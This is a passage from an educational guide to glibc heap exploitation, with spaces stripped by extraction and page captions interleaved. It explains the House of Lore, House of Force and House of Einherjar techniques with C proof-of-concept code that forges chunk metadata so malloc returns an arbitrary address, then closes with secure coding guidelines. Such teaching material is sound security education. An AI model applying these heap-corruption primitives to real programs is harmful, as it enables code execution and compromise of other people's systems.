2. Thefirstchunkgoestothesmallbinasitdoesnotsatisfyamallocrequestforlen+0x10.
Thestateoftheunsortedbinandthesmallbinareshown:
1. free(ptr).Unsortedbin:
head<->ptr<->tail
Smallbin:
head<->tail
2. malloc(len+0x10);Unsortedbin:
head<->tail
Smallbin:
head<->ptr<->tail
3. PointermanipulationsUnsortedbin:
head<->tail
Smallbin:
undefined<->fake_chunk<->ptr<->tail
4. malloc(len)Unsortedbin:
head<->tail
Smallbin:
undefined<->fake_chunk<->tail
5. malloc(len)Unsortedbin:
head<->tail
Smallbin:
HouseofLore
46
![Page 47: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/47.jpg)
undefined<->tail[Fakechunkisreturned]
Notethatanother'malloc'callforthecorrespondingsmallbinwillresultinasegmentationfault.
HouseofLore
47
![Page 48: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/48.jpg)
HouseofForceSimilarto'HouseofLore',thisattackfocusesonreturninganarbitrarypointerfrom'malloc'.Forgingchunksattackwasdiscussedforfastbinsandthe'HouseofLore'attackwasdiscussedforsmallbins.The'HouseofForce'exploitsthe'topchunk'.Thetopmostchunkisalsoknownasthe'wilderness'.Itborderstheendoftheheap(i.e.itisatthemaximumaddresswithintheheap)andisnotpresentinanybin.Itfollowsthesameformatofthechunkstructure.
Thisattackassumesanoverflowintothetopchunk'sheader.Thesizeismodifiedtoaverylargevalue(-1inthisexample).Thisensuresthatallinitialrequestswillbeservicesusingthetopchunk,insteadofrelyingonmmap.Ona64bitsystem,-1evaluatesto0xFFFFFFFFFFFFFFFF.Achunkwiththissizecancovertheentirememoryspaceoftheprogram.Letusassumethattheattackerwishes'malloc'toreturnaddressP.Now,anymalloccallwiththesizeof:&top_chunk-Pwillbeservicedusingthetopchunk.NotethatPcanbeafterorbeforethetop_chunk.Ifitisbefore,theresultwillbealargepositivevalue(becausesizeisunsigned).Itwillstillbelessthan-1.Anintegeroverflowwilloccurandmallocwillsuccessfullyservicethisrequestusingthetopchunk.Now,thetopchunkwillpointtoPandanyfuturerequestswillreturnP!
Considerthissamplecode(downloadthecompleteversionhere):
HouseofForce
48
![Page 49: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/49.jpg)
//Attackerwillforcemalloctoreturnthispointer
charvictim[]="Thisisvictim'sstringthatwillreturnedbymalloc";//At0x601060
structchunk_structure{
size_tprev_size;
size_tsize;
structchunk_structure*fd;
structchunk_structure*bk;
charbuf[10];//padding
};
structchunk_structure*chunk,*top_chunk;
unsignedlonglong*ptr;
size_trequestSize,allotedSize;
//First,requestachunk,sothatwecangetapointertotopchunk
ptr=malloc(256);//At0x131a010
chunk=(structchunk_structure*)(ptr-2);//At0x131a000
//lowerthreebitsofchunk->sizeareflags
allotedSize=chunk->size&~(0x1|0x2|0x4);
//topchunkwillbejustnextto'ptr'
top_chunk=(structchunk_structure*)((char*)chunk+allotedSize);//At0x131a110
//here,attackerwilloverflowthe'size'parameteroftopchunk
top_chunk->size=-1;//Maximumsize
//Mightresultinanintegeroverflow,doesn'tmatter
requestSize=(size_t)victim//Thetargetaddressthatmallocshouldreturn
-(size_t)top_chunk//Thepresentaddressofthetopchunk
-2*sizeof(longlong)//Sizeof'size'and'prev_size'
-sizeof(longlong);//Additionalbuffer
//Thisalsoneedstobeforcedbytheattacker
//Thiswilladvancethetop_chunkaheadby(requestSize+header+additionalbuffer)
//Makingitpointto'victim'
malloc(requestSize);//At0x131a120
//Thetopchunkagainwillservicetherequestandreturn'victim'
ptr=malloc(100);//At0x601060!!(Sameas'victim')
'malloc'returnedanaddresspointingtovictim.
Notethefollowingthingsthatweneedtotakecare:
1. Whilededucingtheexactpointertotop_chunk,0outthethreelowerbitsofthepreviouschunktoobtaincorrectsize.
2. WhilecalculatingrequestSize,anadditionalbufferofaround8byteswasreduced.
HouseofForce
49
![Page 50: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/50.jpg)
Thiswasjusttocountertheroundingupmallocdoeswhileservicingchunks.Incidentally,inthiscase,mallocreturnsachunkwith8additionalbytesthanrequested.Noticethatthisismachinedependent.
3. victimcanbeanyaddress(onheap,stack,bss,etc.).
HouseofForce
50
![Page 51: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/51.jpg)
HouseofEinherjarThishouseisnotpartof"TheMallocMaleficarum".ThisheapexploitationtechniquewasgivenbyHirokiMatsukumain2016.Thisattackalsorevolvesaroundmaking'malloc'returnanearlyarbitrarypointer.Unlikeotherattacks,thisrequiresjustasinglebyteofoverflow.Thereexistsmuchmoresoftwarevulnerabletoasinglebyteofoverflowmainlyduetothefamous"offbyone"error.Itoverwritesintothe'size'ofthenextchunkinmemoryandclearsthePREV_IN_USEflagto0.Also,itoverwritesintoprev_size(alreadyinthepreviouschunk'sdataregion)afakesize.Whenthenextchunkisfreed,itfindsthepreviouschunktobefreeandtriestoconsolidatebygoingback'fakesize'inmemory.Thisfakesizeissocalculatedsothattheconsolidatedchunkendsupatafakechunk,whichwillbereturnedbysubsequentmalloc.
Considerthissamplecode(downloadthecompleteversionhere):
HouseofEinherjar
51
![Page 52: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/52.jpg)
structchunk_structure{
size_tprev_size;
size_tsize;
structchunk_structure*fd;
structchunk_structure*bk;
charbuf[32];//padding
};
structchunk_structure*chunk1,fake_chunk;//fakechunkisat0x7ffee6b64e90
size_tallotedSize;
unsignedlonglong*ptr1,*ptr2;
char*ptr;
void*victim;
//Allocateanychunk
//Theattackerwilloverflow1bytethroughthischunkintothenextone
ptr1=malloc(40);//at0x1dbb010
//Allocateanotherchunk
ptr2=malloc(0xf8);//at0x1dbb040
chunk1=(structchunk_structure*)(ptr1-2);
allotedSize=chunk1->size&~(0x1|0x2|0x4);
allotedSize-=sizeof(size_t);//Heapmetadatafor'prev_size'ofchunk1
//Attackerinitiatesaheapoverflow
//Offbyoneoverflowofptr1,overflowsintoptr2's'size'
ptr=(char*)ptr1;
ptr[allotedSize]=0;//ZeroesoutthePREV_IN_USEbit
//Fakechunk
fake_chunk.size=0x100;//enoughsizetoservicethemallocrequest
//Thesetwowillensurethatunlinksecuritycheckspass
//i.e.P->fd->bk==PandP->bk->fd==P
fake_chunk.fd=&fake_chunk;
fake_chunk.bk=&fake_chunk;
//Overwriteptr2'sprev_sizesothatptr2'schunk-prev_sizepointstoourfakechunk
//Thisfallswithintheboundsofptr1'schunk-noneedtooverflow
*(size_t*)&ptr[allotedSize-sizeof(size_t)]=
(size_t)&ptr[allotedSize-sizeof(size_t)]//ptr2's
chunk
-(size_t)&fake_chunk;
//Freethesecondchunk.Itwilldetectthepreviouschunkinmemoryasfreeandtry
//tomergewithit.Now,topchunkwillpointtofake_chunk
free(ptr2);
victim=malloc(40);//Returnsaddress0x7ffee6b64ea0!!
HouseofEinherjar
52
![Page 53: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/53.jpg)
Notethefollowing:
1. Thesecondchunk'ssizewasgivenas0xf8.Thissimplyensuredthattheactualchunk'ssizehastheleastsignificantbyteas0(ignoringtheflagbits).Hence,itwasasimplemattertosetthepreviousinusebitto0withoutchangingthesizeofthischunk.
2. TheallotedSizewasfurtherdecreasedbysizeof(size_t).allotedSizeisequaltothesizeofthecompletechunk.However,thesizeallowedfordataissizeof(size_t)less,ortheequivalentofthesizeparameterintheheap.Thisisbecausesizeandprev_sizeofthecurrentchunkcannotbeused,buttheprev_sizeofthenextchunkcanbeused.
3. Fakechunk'sforwardandbackwardpointerswereadjustedtopassthesecuritycheckinunlink.
HouseofEinherjar
53
![Page 54: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/54.jpg)
SecureCodingGuidelinesAlloftheattacksmentionedaboveareonlypossiblewhenthewriterofthecodemakeshis/herownassumptionsofthevariousfunctionsprovidedbyglibc'sAPI.Forexample,developersmigratingfromotherlanguagessuchasJava,etc.assumethatitisthedutyofthecompilertodetectoverflowsduringruntime.
Here,somesecurecodingguidelinesarepresented.Ifthesoftwareisdevelopedkeepingtheseinmind,itwillpreventthepreviouslymentionedattacks:
1. Useonlytheamountofmemoryaskedusingmalloc.Makesurenottocrosseitherboundary.
2. Freeonlythememorythatwasdynamicallyallocatedexactlyonce.3. Neveraccessfreedmemory.4. AlwayscheckthereturnvalueofmallocforNULL.
Theabove-mentionedguidelinesaretobefollowedstrictly.Belowaresomeadditionalguidelinesthatwillhelptofurtherpreventattacks:
1. Aftereveryfree,re-assigneachpointerpointingtotherecentlyfreedmemorytoNULL.2. Alwaysreleaseallocatedstorageinerrorhandlers.3. Zerooutsensitivedatabeforefreeingitusingmemset.4. Donotmakeanyassumptionregardingthepositioningofthereturnedaddressesfrom
malloc.
HappyCoding!
SecureCodingGuidelines
54